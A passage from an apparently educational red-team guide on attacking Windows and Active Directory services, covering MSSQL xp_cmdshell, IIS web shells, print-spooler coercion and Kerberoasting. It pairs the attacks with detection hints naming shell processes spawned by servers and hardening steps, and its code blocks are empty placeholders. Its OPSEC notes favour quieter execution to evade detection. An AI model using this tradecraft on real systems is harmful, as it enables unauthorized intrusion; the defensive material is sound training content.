> *Why:* WinRM and WMI are built-in remote execution channels — no extra tools needed on the target. `evil-winrm` gives a full interactive shell. WMI method invocation is quieter than named-pipe-based tools (PsExec, smbexec) but still generates 4688 events. See AI4 for WMI subscription persistence.

**Common Misconfigurations:**
- **WinRM enabled on workstations** → should be servers/admins only
- **No HTTPS enforcement** → port 5985 transmits commands in plaintext
- **Domain Users in WinRM access group** → over-permissive; should be restricted to admins
- **WMI subscriptions for persistence** → see AI4 for persistence via WMI event subscriptions
- **No PowerShell Script Block Logging** → execution is invisible beyond process name

**Defender Block:**
- **Event IDs:** 4688 with `wsmprovhost.exe` as new process (PS remoting execution), 4648 (explicit credentials used for WinRM), 91 in `Microsoft-Windows-WinRM/Operational` (WSMan connection established), 4103/4104 (PS Module/Script Block logging — if enabled)
- **Sigma hint:** EID 4688 with NewProcessName = `wsmprovhost.exe` spawned from unexpected parent or outside business hours = PS remoting lateral movement
- **Hardening:** Enable PowerShell Script Block Logging + Transcription (GPO), enforce HTTPS-only WinRM (`winrm set winrm/config/listener?Address=*+Transport=HTTPS`), restrict WinRM access to admin jump hosts via firewall, disable WinRM on workstations (`Disable-PSRemoting -Force`)

> **OPSEC:** PS remoting creates a `wsmprovhost.exe` process on the *target* — logged at EID 4688 even without Script Block Logging. `impacket-wmiexec` spawns a `cmd.exe` child under WMI. `Invoke-WmiMethod` is slightly quieter — no interactive wsmprovhost shell — but still logged. Use targeted single-host execution; subnet-wide WMI scanning is loud.

#### Phase 4 — MSSQL (TCP 1433)

Microsoft SQL Server is commonly deployed with excessive privileges — running as SYSTEM or a domain service account, with xp_cmdshell enabled or easily re-enabled. A compromised MSSQL instance frequently leads to OS-level code execution or lateral movement via linked servers.

{{CODE_BLOCK_44}}

> *Why:* MSSQL's `xp_cmdshell` is a direct OS command execution gateway. Even when disabled, any user with `ALTER SETTINGS` permission can re-enable it. Linked server chains allow lateral movement between SQL instances without needing separate credentials — a single compromised SQL account can traverse the whole SQL topology.

**Common Misconfigurations:**
- **`xp_cmdshell` enabled** → direct OS command execution via SQL
- **SA account with blank/default password** → instant admin access
- **MSSQL running as SYSTEM or Domain Admin** → full OS/domain takeover from SQL shell
- **Linked servers with delegation** → lateral movement across SQL instances
- **Excessive PUBLIC role permissions** → non-admin users can execute dangerous procedures

**Defender Block:**
- **Event IDs:** 33205 (SQL Server Audit — successful audit event), 33206 (SQL Server Audit — failed audit event), 4688 with ParentProcessName = `sqlservr.exe` (child process spawned via xp_cmdshell — confirms OS command execution)
- **Sigma hint:** EID 4688 with ParentProcessName = `sqlservr.exe` AND NewProcessName = `cmd.exe` or `powershell.exe` = xp_cmdshell execution in progress
- **Hardening:** `EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;` — disable xp_cmdshell, run MSSQL as low-privilege service account (not SYSTEM), enable SQL Server Audit, clear SA blank password, review linked server permissions and delegation settings

> **OPSEC:** `xp_cmdshell` spawns `cmd.exe` as a direct child of `sqlservr.exe` — this parent-child relationship is trivially detected by EDR and SIEM. In monitored environments, prefer CLR assemblies or OLE Automation Procedures as quieter execution alternatives. Always check if xp_cmdshell is already enabled before trying to re-enable it — sp_configure changes are audited.

#### Phase 5 — IIS / HTTP(S) (TCP 80, 443)

IIS (Internet Information Services) is Microsoft's web server. Common on internal networks hosting portals, APIs, and management interfaces. Misconfigurations — WebDAV, excessive app pool identity permissions, or loose upload endpoints — frequently lead to initial access or lateral movement.

{{CODE_BLOCK_45}}

> *Why:* WebDAV with write access allows direct file upload to the web root — a one-step path to web shell placement and RCE. Even without WebDAV, discovering the app pool identity's privilege level (SYSTEM, Network Service, or domain account) determines what OS access a web shell provides.

**Common Misconfigurations:**
- **WebDAV enabled with write access** → arbitrary file upload → web shell → RCE
- **App pool running as SYSTEM or domain account** → elevated OS access from web shell
- **Default IIS welcome page not removed** → confirms IIS version, aids fingerprinting
- **Directory listing enabled** → exposes file structure without authentication
- **ASP.NET debug mode or verbose errors** → stack traces, connection strings, internal paths leaked
- **PUT method allowed on upload endpoints** → direct file write without WebDAV

**Defender Block:**
- **Event IDs:** 4688 with ParentProcessName = `w3wp.exe` (IIS worker process spawning child = web shell execution), IIS access logs at `C:\inetpub\logs\LogFiles\W3SVC*` (check for PUT/POST to unusual paths), 4663 (object access audit on web root directory — requires SACL)
- **Sigma hint:** EID 4688 with ParentProcessName = `w3wp.exe` AND NewProcessName matching `cmd.exe`, `powershell.exe`, or `certutil.exe` = active web shell exploitation
- **Hardening:** Disable WebDAV if not required (`Remove-WindowsFeature Web-DAV-Publishing`), run app pools as dedicated least-privilege service accounts, suppress server version headers (`requestFiltering/removeServerHeader`), enable Failed Request Tracing, deploy WAF for external-facing IIS

> **OPSEC:** Web shell execution creates child processes of `w3wp.exe` — the parent-child relationship is a high-fidelity EDR detection signal. LOLBin usage (certutil, bitsadmin, msiexec) is slightly less noisy than dropping and running `cmd.exe` directly. Any PUT request to the web root should be treated as a critical alert.

#### Phase 6 — DNS (TCP/UDP 53)

DNS is the backbone of Active Directory — every DC lookup, service discovery, and Kerberos ticket request depends on it. Zone transfer misconfigs expose the full network map. ADIDNS integration allows authenticated users to register arbitrary DNS records by default, enabling DNS poisoning for NTLM relay.

{{CODE_BLOCK_46}}

> *Why:* Zone transfers expose the complete DNS zone — hostnames, IPs, internal network topology — in a single unauthenticated request if misconfigured. ADIDNS write access (default for Authenticated Users in many domains) lets an attacker register a DNS record pointing any name to their IP, then use Responder or ntlmrelayx to capture/relay credentials when clients resolve that name. See AI5 Phase 1 for full DNS SRV record enumeration workflow.

**Common Misconfigurations:**
- **Zone transfers allowed from any IP** → full DNS map exposed unauthenticated
- **ADIDNS write access for Authenticated Users** → DNS poisoning for NTLM capture/relay (see AI7)
- **Wildcard DNS entries** → mask hostname typos, interfere with tooling
- **Recursive DNS resolvers accessible externally** → DNS amplification reflection

**Defender Block:**
- **Event IDs:** 770 (DNS zone transfer request received), 771 (DNS zone transfer request denied — in `Microsoft-Windows-DNS-Server/Audit`), DNS debug logging enables full query/response capture (enable via DNS Manager → Debug Logging on each DNS server)
- **Sigma hint:** EID 770 from any IP that is not a known secondary DNS server = unauthorized zone transfer attempt; alert immediately
- **Hardening:** Restrict zone transfers to known secondary NS IPs only (`Set-DnsServerPrimaryZone -Name domain.local -SecondaryServers @('10.10.10.2') -SecureSecondaries TransferToSecureServers`), audit ADIDNS ACLs (`Get-DnsServerZone domain.local | Get-Acl`), remove Authenticated Users write permission from DNS zones, enable DNS debug logging in production environments

> **OPSEC:** Zone transfers generate EID 770/771 — immediate detection signal. ADIDNS record creation writes to the AD DNS object and is visible in object audit logs if enabled. DNS subdomain brute-forcing generates high query volume detectable by DNS query rate analytics or behavioral baselines.

#### Phase 7 — LDAP / LDAPS (TCP 389, 636, 3268, 3269)

LDAP (Lightweight Directory Access Protocol) is the query layer for Active Directory — every user lookup, group membership check, and computer account query uses LDAP. Port 389 is plaintext, 636 is LDAPS (TLS), 3268/3269 are the Global Catalog ports. Anonymous binds and unsigned LDAP relay are the primary attack vectors.

{{CODE_BLOCK_47}}

> *Why:* Anonymous LDAP binds allow unauthenticated enumeration of users, groups, computers, and GPOs — a massive information leak on legacy or misconfigured DCs. Unsigned LDAP opens the relay attack path: see AI5 Phase 2 for the full unauthenticated LDAP/SMB/MSRPC enumeration workflow, and AI7 for LDAP relay chains.

**Common Misconfigurations:**
- **Anonymous bind enabled** → unauthenticated user/group/computer enumeration
- **Unsigned LDAP allowed** → LDAP relay vector (NTLM challenge can be relayed to LDAP for account modification)
- **LDAPS not enforced** → credentials transmitted in plaintext on port 389 in transit
- **LDAP referrals** → can leak internal topology to querying clients

**Defender Block:**
- **Event IDs:** 2889 (unsigned LDAP bind performed — critical, enable via `Domain Controller: LDAP server signing requirements = Require signing`), 2886 (DC does not require LDAP signing — configuration warning), 2888 (LDAP client performed unsigned bind — client-side warning), 4624 Logon Type 3 with Username `ANONYMOUS LOGON` (anonymous LDAP bind event)
- **Sigma hint:** Any occurrence of EID 2889 = an unsigned LDAP bind happened; should be zero in a hardened environment — alert on every single occurrence
- **Hardening:** Set `Domain Controller: LDAP server signing requirements = Require signing` via GPO, enable LDAP Channel Binding (`Domain controller: LDAP server channel binding token requirements = Always`), disable anonymous LDAP bind (set `dsHeuristics` bit 7 to 0), enforce LDAPS-only where possible

> **OPSEC:** Anonymous LDAP binds generate EID 4624 ANONYMOUS LOGON — common in legacy environments but visible. Authenticated LDAP queries blend into normal AD traffic, but high-volume queries (ldapdomaindump runs ~1,000+ queries) create anomalous query spikes detectable by LDAP query rate monitoring.

> *Cross-reference: AI5 Phase 2 has the full unauthenticated LDAP/SMB/MSRPC enumeration workflow.*

#### Phase 8 — Kerberos (TCP/UDP 88)

Kerberos is the primary authentication protocol in Active Directory — ticket-based, no password retransmission. Port 88 handles TGT and TGS requests. It is one of the most attack-rich protocols in an AD environment. **This phase is a quick-reference summary — full attack chains, delegation abuse, and ticket forgery are covered in AI6.**

{{CODE_BLOCK_48}}

> *Why:* AS-REP roasting targets accounts with pre-authentication disabled — no credentials required. Kerberoasting targets service accounts with SPNs and requests their TGS tickets as any authenticated user — the ticket is encrypted with the service account's password hash, crackable offline. Both attacks leave minimal footprints at the time of execution but are detectable via Event IDs.

**Attack Path Summary (quick-reference — see AI6 for full chains):**
- **AS-REP Roasting** → crack offline → plaintext password
- **Kerberoasting** → crack TGS offline → service account plaintext
- **Unconstrained Delegation** → coerce DC authentication → capture TGT → pass-the-ticket
- **Constrained Delegation (S4U2Proxy)** → forge service tickets for specific targets
- **RBCD (Resource-Based Constrained Delegation)** → write `msDS-AllowedToActOnBehalfOfOtherIdentity` → full impersonation
- **Pass-the-Ticket / Overpass-the-Hash** → inject existing tickets into session
- **Golden Ticket** → forge TGTs using `krbtgt` hash — persistent domain access
- **Silver Ticket** → forge TGS using service account hash — access specific service

> *Full Kerberos attack chains (delegation abuse, pass-the-ticket, golden/silver ticket, and PKINIT) are covered in AI6.*

**Defender Block:**
- **Event IDs:** 4768 (TGT request — monitor for EncryptionType 0x17 = RC4, indicates AS-REP or weak encryption), 4769 (TGS request — EncryptionType 0x17 = RC4 = Kerberoast target service account), 4771 (Kerberos pre-auth failure — AS-REP roasting attempts), 4672 (special privileges assigned at logon — possible golden ticket use: DC-level logon with suspicious privilege set)
- **Sigma hint:** EID 4769 with TicketEncryptionType = 0x17 (RC4) AND ServiceName not equal to `krbtgt` = Kerberoasting request; burst of these = mass Kerberoast sweep
- **Hardening:** Set `msDS-SupportedEncryptionTypes` to AES-only on all service accounts (removes RC4 fallback), require pre-authentication on all user accounts, use Group Managed Service Accounts (gMSA) for service accounts, audit SPNs regularly for stale or unnecessary entries

> **OPSEC:** Kerberoasting generates EID 4769 per SPN queried — requesting many TGS tickets in a short window is the primary detection signal. AS-REP roasting generates EID 4768/4771. Golden tickets bypass the DC entirely — no logon events generated on the DC itself, making real-time detection extremely difficult without behavioral analytics.

#### Phase 9 — MSRPC / RPC (TCP 135, dynamic 49152–65535)

MSRPC (Microsoft Remote Procedure Call) is the foundational transport layer for Windows distributed services — DCOM, WMI, scheduled tasks, print spooler, and many more all communicate over dynamic RPC ports. Port 135 is the endpoint mapper. Enumerating registered endpoints exposes the full attack surface, and several RPC interfaces enable forced authentication coercion.

{{CODE_BLOCK_49}}

> *Why:* RPC endpoint enumeration reveals which services are listening on the target and which coercion vectors are available. MS-RPRN (Print Spooler) on a Domain Controller is the most high-value finding — it forces DC-to-attacker authentication on command, enabling NTLM relay or credential capture (see AI7). See AI5 Phase 2 for the null session RPC enumeration workflow.

**Common Misconfigurations:**
- **Print Spooler enabled on DCs** → MS-RPRN coercion → forced DC NTLM authentication to attacker (see AI7 for relay)
- **DCOM enabled without access controls** → lateral movement via DCOM execution
- **TCP 135 accessible from untrusted networks** → endpoint mapper queries from internet
- **Null sessions via RPC allowed** → user/group enumeration (see AI5 Phase 2)

**Defender Block:**
- **Event IDs:** 4688 (DCOM-spawned child processes — process creation under DCOM host), 10016 in `Microsoft-Windows-DistributedCOM` (DCOM permission error — indicates attempted DCOM instantiation without permission), 4624 (authentication events from RPC/DCOM operations), Windows Firewall logs for inbound TCP 135 from unexpected sources
- **Sigma hint:** EID 10016 with ProcessName containing unexpected applications or from unusual source IPs = DCOM abuse attempt; 4688 with ParentProcessName = `mmc.exe` or `svchost.exe` (DCOM host) spawning shells
- **Hardening:** Disable Print Spooler on all DCs and non-print servers (`Stop-Service Spooler; Set-Service Spooler -StartupType Disabled`), restrict DCOM permissions via DCOMCNFG (Component Services), block TCP 135 at perimeter firewall, disable null sessions via RPC (`RestrictAnonymous = 1`)

> **OPSEC:** `impacket-rpcdump` against a DC generates normal-looking RPC traffic — very low signal on its own. Coercion via MS-RPRN forces the DC to authenticate *outward* to the attacker — the event (EID 4624) appears on the *attacker's* system, not the DC, making it difficult to detect from the DC side alone. DCOM execution creates child processes under DCOM host — higher signal than WMI.

#### Phase 10 — SNMP (UDP 161, 162)

SNMP (Simple Network Management Protocol) is a monitoring and management protocol running over UDP. When enabled on Windows hosts with default community strings, it exposes the full system profile — running processes, installed software, network interfaces, routing tables, and open connections — without authentication.

{{CODE_BLOCK_50}}

> *Why:* SNMP with the default `public` community string gives unauthenticated read access to the full system MIB — running processes, installed software, network config, and ARP cache. This provides rich recon data (identify security tools, find internal subnets, enumerate installed services) with a single UDP connection. SNMPv1/v2c transmit community strings in plaintext — capturable on the wire.

**Common Misconfigurations:**
- **Default `public`/`private` community strings** → unauthenticated full system access
- **SNMPv1/v2c instead of SNMPv3** → no authentication or encryption — community string transmitted in plaintext
- **SNMP enabled on all Windows hosts** → exposes process list, installed software, and network config
- **Write-enabled community string** → potential configuration change (rare but possible)

**Defender Block:**
- **Note:** SNMP queries use stateless UDP — there are no native Windows Event IDs for SNMP queries by default
- **Detection:** Network IDS/IPS rules for high-volume SNMP from a single source, NetFlow/packet capture analysis for UDP 161 sweeps across subnet
- **Sigma hint (Suricata/Snort):** `alert udp any any -> $HOME_NET 161 (msg:"SNMP community string brute force"; threshold: type both, track by_src, count 20, seconds 10; sid:1000001;)` — detect rapid SNMP queries from single source
- **Hardening:** Disable SNMP service if not required (`Stop-Service SNMP; Set-Service SNMP -StartupType Disabled`), upgrade to SNMPv3 (authentication + encryption), change all default community strings, restrict SNMP access to monitoring systems via Windows Firewall ACL

> **OPSEC:** SNMP MIB walks are UDP — no TCP handshake, no connection log entry, no Windows Event ID. Difficult to detect without network-layer visibility (flow data, IDS). However, a full MIB walk to a host that doesn't normally receive SNMP queries is anomalous on a flow collector baseline. If SNMPv3 is deployed, community string attacks are not applicable.

#### Phase 11 — FTP / TFTP (TCP 21, UDP 69)

FTP (File Transfer Protocol) and TFTP (Trivial FTP) are legacy file transfer services still common on Windows — IIS ships with an FTP role, and TFTP is used for PXE booting and network device management. Both services frequently have anonymous access enabled and transmit credentials in cleartext.

{{CODE_BLOCK_51}}

> *Why:* Anonymous FTP provides unauthenticated file read/write to whatever directory the FTP root points to — if misconfigured to overlap with a web root or sensitive share, this is a direct path to credential files or code execution. TFTP's complete lack of authentication makes it trivially abusable for grabbing any file by name if enabled.

**Common Misconfigurations:**
- **Anonymous FTP login enabled** → unauthenticated file access to FTP root directory
- **FTP root pointed at sensitive directories** → direct access to web root, configuration files, or credentials
- **TFTP enabled without authentication** → any file accessible by name with no auth required
- **FTP over plaintext (no FTPS)** → credentials transmitted in cleartext — capturable on the wire
- **IIS FTP with weak credentials** → brute-forceable with no lockout by default

**Defender Block:**
- **Event IDs:** 4624 Logon Type 3 (FTP authentication via Windows auth), 4625 Logon Type 3 (failed FTP auth), IIS FTP logs at `C:\inetpub\logs\LogFiles\FTPSVC*` (full request/response logging), 4663 (file access audit on FTP root if SACL configured)
- **Sigma hint:** EID 4624 Logon Type 3 with SubjectUserName `anonymous` or `ftp` + subsequent 4663 file access events from FTP root path = anonymous FTP access and file retrieval
- **Hardening:** Disable FTP/TFTP if not required (`Remove-WindowsFeature Web-Ftp-Server`), enforce FTPS (explicit TLS via STARTTLS on port 21, or implicit TLS on port 990), disable anonymous login, use SFTP (SSH) as a modern alternative, isolate FTP root from system/sensitive directories

> **OPSEC:** Anonymous FTP login generates EID 4624 Logon Type 3 with `ANONYMOUS LOGON` — same as null session SMB, easily detected. TFTP is UDP with no authentication events whatsoever — completely invisible in Windows event logs, only detectable at the network layer (packet capture or flow analysis).

#### Phase 12 — Print Spooler (TCP 445 / RPC)

The Print Spooler service (`spoolsv.exe`) runs on all Windows systems by default. It is exposed via SMB named pipes and RPC interfaces (MS-RPRN, MS-PAR). It is one of the most consequential Windows services from an attack perspective: PrintNightmare enables SYSTEM-level RCE, and MS-RPRN coercion forces Domain Controllers to authenticate outbound on command — a prerequisite for many NTLM relay and Kerberos delegation attacks.

{{CODE_BLOCK_52}}

> *Why:* MS-RPRN coercion does NOT require PrintNightmare to be unpatched — any Windows host running the Print Spooler with port 445 reachable is susceptible to forced authentication. When the DC is coerced, it authenticates to the attacker as the DC's machine account — which can be relayed to LDAP to add a RBCD entry or to other services for lateral movement. See AI7 for the full coercion → relay chain.

**Common Misconfigurations:**
- **Print Spooler enabled on Domain Controllers** → MS-RPRN coercion → forced DC authentication → NTLM relay or Kerberos delegation abuse (see AI7)
- **Print Spooler enabled on non-print servers** → unnecessary attack surface
- **Unrestricted Point-and-Print policy** → non-admin users can install print drivers → PrintNightmare privilege escalation path
- **No KB5005652 patch applied** → PrintNightmare (CVE-2021-34527) unpatched

**Defender Block:**
- **Event IDs:** 316 in `Microsoft-Windows-PrintService/Admin` (Print Spooler loaded a plug-in — critical: monitor for unexpected PluginDll paths), 808 in `Microsoft-Windows-PrintService/Admin` (Spooler RPC connection accepted), 7031 in System log (Print Spooler service terminated unexpectedly — possible exploit crash), 4688 with ParentProcessName = `spoolsv.exe` (process spawned by spooler — PrintNightmare/SpoolFool indicator)
- **Sigma hint:** EID 316 with PluginDll path not matching known printer driver directories (`C:\Windows\System32\spool\DRIVERS\*`) = malicious driver installation via PrintNightmare; 4688 with ParentProcessName = `spoolsv.exe` spawning `cmd.exe` or `powershell.exe` = active exploitation
- **Hardening:** **Disable Print Spooler on all DCs and non-print servers** (`Stop-Service Spooler; Set-Service Spooler -StartupType Disabled`), apply KB5005652 (PrintNightmare patch), set Point-and-Print restrictions to only approved print servers via GPO (`Computer Configuration → Policies → Administrative Templates → Printers → Point and Print Restrictions`), block outbound SMB from DCs to non-DC hosts at the perimeter

> **OPSEC:** MS-RPRN coercion is quiet from the target's perspective — the DC simply makes an outbound SMB connection that gets logged on the *attacker's* system (EID 4624), not the DC. PrintNightmare exploitation generates EID 316 with a suspicious DLL path — loud and detectable. Coercion-only attacks (no PrintNightmare) leave minimal trace on the target beyond the outbound connection.

---

## Resources

> [!TIP]
> Use this appendix as a **Windows learning and lab roadmap**. Start with beginner-oriented host visibility and patch-triage tools, move into intermediate AD graphing and operator references, then use advanced protocol and reverse-engineering tools to validate detections, hardening, and incident response hypotheses in a controlled environment.
>
> **Recommended note-taking pattern:** for each tool, capture 1) what artifact it creates, 2) what logs or alerts it may trigger, and 3) what blue-team control would detect, block, or contain it.

### Ranked View — Best Repositories by Skill Level

| Skill level | Best starting points | Why they matter |
|---|---|---|
| Beginner | [PEASS-ng](https://github.com/peass-ng/PEASS-ng), [wesng](https://github.com/bitsadmin/wesng), [Awesome-Hacking-Resources](https://github.com/vitalysim/Awesome-Hacking-Resources), [awesome-pentest](https://github.com/enaqx/awesome-pentest), wesng-db | Good for host triage, patch-gap awareness, and building a study path before moving into deeper AD workflows |
| Intermediate | [x64dbg](https://github.com/x64dbg/x64dbg), [NetExec](https://github.com/Pennyw0rth/NetExec), [LOLBAS](https://github.com/LOLBAS-Project/LOLBAS), [Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet), [BloodHound](https://github.com/SpecterOps/BloodHound), WADComs, [Seatbelt](https://github.com/GhostPack/Seatbelt), [SharpHound](https://github.com/SpecterOps/SharpHound) | Strong mix of host context, AD path discovery, command reference, and lab validation workflows |
| Advanced | [x64dbg](https://github.com/x64dbg/x64dbg), [impacket](https://github.com/fortra/impacket), [mimikatz](https://github.com/gentilkiwi/mimikatz), [Rubeus](https://github.com/GhostPack/Rubeus), [PowerSploit](https://github.com/PowerShellMafia/PowerSploit), [Inveigh](https://github.com/Kevin-Robertson/Inveigh), [BloodHound](https://github.com/SpecterOps/BloodHound) | Best for protocol-level understanding, reverse engineering, Kerberos research, credential exposure analysis, and detection engineering |

### Curated Windows Repository Comparison

| Rank | Repository | Stars | Updated | Language | Key features | Windows support | Example lab use | Skill | B/I/A |
|---|---:|---|---|---|---|---|---|---|---|
| 1 | [x64dbg](https://github.com/x64dbg/x64dbg) | 48,112 | 2026-04-17 | C++ | User-mode debugger, plugin ecosystem, reverse engineering, dynamic analysis | Windows 7-11, x64/x86 | Debug PE binaries, trace API calls, inspect memory, analyze samples in a lab | Intermediate | 3/5/5 |
| 2 | [PEASS-ng](https://github.com/peass-ng/PEASS-ng) | 19,674 | 2026-04-16 | C# | Privilege escalation checklists and winPEAS for Windows | Windows 7-11, Server | Run winPEAS in a lab to identify common escalation and misconfiguration findings | Beginner-Intermediate | 5/4/3 |
| 3 | [NetExec](https://github.com/Pennyw0rth/NetExec) | 9,124 | 2026-04-16 | Python | SMB/WinRM/LDAP workflow automation for assessments | Windows domains and workstations | Validate credential reuse and administrative reach in authorized testing | Intermediate-Advanced | 2/5/5 |
| 4 | [LOLBAS](https://github.com/LOLBAS-Project/LOLBAS) | 8,458 | 2026-04-16 | XSLT | Living-off-the-land binaries, scripts, and libraries catalog | Windows 7-11, Server | Map signed-binary abuse cases to detections and control coverage in the lab | Intermediate-Advanced | 2/5/5 |
| 5 | [Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet) | 6,580 | 2026-04-16 | - | AD enumeration and attack-path reference with quick commands | Windows Server AD, Windows 10-11 admin hosts | Cross-check domain enum, delegation, and privilege-abuse workflows in labs | Intermediate-Advanced | 2/5/5 |
| 6 | [wesng](https://github.com/bitsadmin/wesng) | 4,822 | 2026-04-17 | Python | Windows exploit suggester from `systeminfo`, patch mapping, local privesc triage | Windows 7-11, Server 2008-2022 | Feed `systeminfo` output to identify missing KBs and candidate local escalation paths | Beginner-Intermediate | 5/4/3 |
| 7 | [BloodHound](https://github.com/SpecterOps/BloodHound) | 2,965 | 2026-04-17 | Go | AD attack-path visualization and graph analytics | Windows AD with client app or web UI | Map shortest paths to high-value targets and validate privilege relationships | Intermediate-Advanced | 2/5/5 |
| 8 | WADComs | 0 | - | - | Interactive Windows/AD command reference and operator quick reference | Windows and AD environments | Look up syntax and workflows for common Windows/AD assessment tasks | Intermediate | 3/5/4 |
| 9 | [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) | 12,946 | 2026-04-16 | PowerShell | Post-exploitation framework, recon, privilege escalation, persistence modules | Windows 7-11, PowerShell environments | Use modules in a lab to assess PowerShell-based tradecraft and detections | Intermediate-Advanced | 2/4/5 |
| 10 | [Seatbelt](https://github.com/GhostPack/Seatbelt) | 4,545 | 2026-04-16 | C# | Host situational awareness, security configuration enumeration, escalation checks | Windows 7-11, Server | Enumerate host security posture, UAC, services, and local misconfigurations | Intermediate | 2/5/4 |
| 11 | [Inveigh](https://github.com/Kevin-Robertson/Inveigh) | 2,945 | 2026-04-16 | C# | Windows-native spoofing and credential-capture research utility | Windows domain environments | Simulate name-resolution poisoning exposure from Windows hosts in a lab | Intermediate-Advanced | 2/4/5 |
| 12 | [SharpHound](https://github.com/SpecterOps/SharpHound) | 1,246 | 2026-04-16 | C# | AD graph data collector for BloodHound, ACL and relationship enumeration | Windows domain-joined systems | Collect graph data for AD attack-path analysis in labs or engagements | Intermediate | 2/5/4 |
| 13 | [awesome-pentest](https://github.com/enaqx/awesome-pentest) | 25,860 | 2026-04-16 | - | Large pentest resource index, tools, cheat sheets, methodology references | Cross-platform; includes Windows sections | Find Windows recon, exploitation, and post-exploitation references for study | Beginner-Intermediate | 4/4/2 |
| 14 | [Awesome-Hacking-Resources](https://github.com/vitalysim/Awesome-Hacking-Resources) | 16,934 | 2026-04-17 | - | Curated learning resources, books, labs, and tools | Cross-platform; includes Windows-focused content | Use as a syllabus for Windows reversing, AD, and exploitation study | Beginner | 5/3/2 |
| 15 | [impacket](https://github.com/fortra/impacket) | 15,635 | 2026-04-17 | Python | Protocol toolkit with SMB/RPC/Kerberos utilities | Windows targets; operator runs on Linux/Windows | Use SMB, Kerberos, secrets, and RPC utilities during Windows assessments | Advanced | 1/4/5 |
| 16 | [Responder](https://github.com/lgandx/Responder) | 6,422 | 2026-04-16 | Python | LLMNR/NBT-NS/MDNS poisoning and credential-capture research tool | Windows networks; tool runs cross-platform | Assess name-resolution poisoning exposure in internal network tests | Intermediate | 2/4/4 |
| 17 | [mimikatz](https://github.com/gentilkiwi/mimikatz) | 21,417 | 2026-04-16 | C | Credential operations, token manipulation, Kerberos and LSASS research | Windows 7-11, Server | Study credential exposure and validate hardening in authorized labs | Advanced | 1/3/5 |
| 18 | [Awesome-Hacking](https://github.com/carpedm20/awesome-hacking) | 16,138 | 2026-04-17 | - | Curated tutorials, tools, CTF, and lab references | Cross-platform; mixed Windows relevance | Browse Windows-related tutorials and tooling references for self-study | Beginner | 4/3/2 |
| 19 | [Rubeus](https://github.com/GhostPack/Rubeus) | 4,966 | 2026-04-16 | C# | Kerberos interaction, ticket operations, delegation, and roast-related workflows | Windows domain environments | Assess Kerberos attack paths and ticket-abuse opportunities in AD labs | Advanced | 1/3/5 |
| 20 | wesng-db | 0 | - | - | Vulnerability definition database for wesng and exploit metadata updates | Supports Windows versions covered by wesng | Update exploit metadata used by wesng during patch-gap analysis | Beginner-Intermediate | 4/3/2 |

### Recommended Mapping to This Article

| Article area | Best resources |
|---|---|
| Action Items 1-2: host enum and local privesc triage | [PEASS-ng](https://github.com/peass-ng/PEASS-ng), [wesng](https://github.com/bitsadmin/wesng), [Seatbelt](https://github.com/GhostPack/Seatbelt), [LOLBAS](https://github.com/LOLBAS-Project/LOLBAS) |
| Action Items 3-4: credentials, PowerShell, persistence research | [PowerSploit](https://github.com/PowerShellMafia/PowerSploit), [mimikatz](https://github.com/gentilkiwi/mimikatz), [x64dbg](https://github.com/x64dbg/x64dbg) |
| Action Items 5-8: AD graphing, Kerberos, relay exposure, domain dominance | [BloodHound](https://github.com/SpecterOps/BloodHound), [SharpHound](https://github.com/SpecterOps/SharpHound), [Rubeus](https://github.com/GhostPack/Rubeus), [impacket](https://github.com/fortra/impacket), [Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet) |
| Full-chain learning path | [Awesome-Hacking-Resources](https://github.com/vitalysim/Awesome-Hacking-Resources), [awesome-pentest](https://github.com/enaqx/awesome-pentest), [Awesome-Hacking](https://github.com/carpedm20/awesome-hacking), WADComs |

---
*Part of the [Red Teaming 101](0 README.md) series.*


---

## Appendix — Attack vector catalog (from former 2.1)

# 2.1 Windows Active Directory — Attack Vectors & Paths


> [!IMPORTANT]
> **Authorized use only:** Use these notes only in owned, explicitly authorized, or isolated lab environments.
>
> **Detection awareness:** Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
>
> **Blue-team view:** Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
>
> **CTF/lab boundary:** If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.

> **Scope:** This document covers how attackers identify, enumerate, and abuse misconfigurations and design weaknesses in Windows Active Directory environments. Each section follows the pattern: **What it is → How attackers spot it → How they abuse it**.

---

## Table of Contents

1. [Reconnaissance & Enumeration](#1-reconnaissance--enumeration)
2. [Credential-Based Attacks](#2-credential-based-attacks)
3. [Kerberos Abuse](#3-kerberos-abuse)
4. [ACL / ACE Abuse](#4-acl--ace-abuse)
5. [Active Directory Certificate Services (AD CS)](#5-active-directory-certificate-services-ad-cs)
6. [Group Policy Abuse](#6-group-policy-abuse)
7. [Lateral Movement via Windows Services](#7-lateral-movement-via-windows-services)
8. [Domain Persistence](#8-domain-persistence)
9. [Trust Relationship Abuse](#9-trust-relationship-abuse)
10. [Common Attack Chains (Full Paths)](#10-common-attack-chains-full-paths)

---

## 1. Reconnaissance & Enumeration

### What It Is
Before attacking, adversaries need to understand the AD environment — domain structure, users, groups, computers, GPOs, trusts, and service accounts.

### How Attackers Spot the Opportunity
AD exposes a massive amount of information to **any authenticated domain user by default**. LDAP queries require no special privileges, and most environments leave default read permissions in place.

Common enumeration techniques:

**LDAP Enumeration**
{{CODE_BLOCK_53}}

**BloodHound / SharpHound** — Maps the entire AD graph, including attack paths to Domain Admin:
{{CODE_BLOCK_54}}

**PowerView**
{{CODE_BLOCK_55}}

### How They Abuse It
Enumeration feeds every subsequent attack. The output of BloodHound directly answers: *"What is the shortest path from my current user to Domain Admin?"* Attackers use it to:
- Identify Kerberoastable / ASREPRoastable accounts
- Find users with DCSync rights
- Find paths via ACL misconfigurations
- Locate computers where high-value sessions exist

---

## 2. Credential-Based Attacks

### 2.1 Password Spraying

**What it is:** Testing one or a few common passwords across many accounts to avoid lockout.

**How attackers spot it:** Any list of valid usernames (from LDAP enum, LinkedIn, email format guessing) combined with a weak password policy.

**How they abuse it:**
{{CODE_BLOCK_56}}
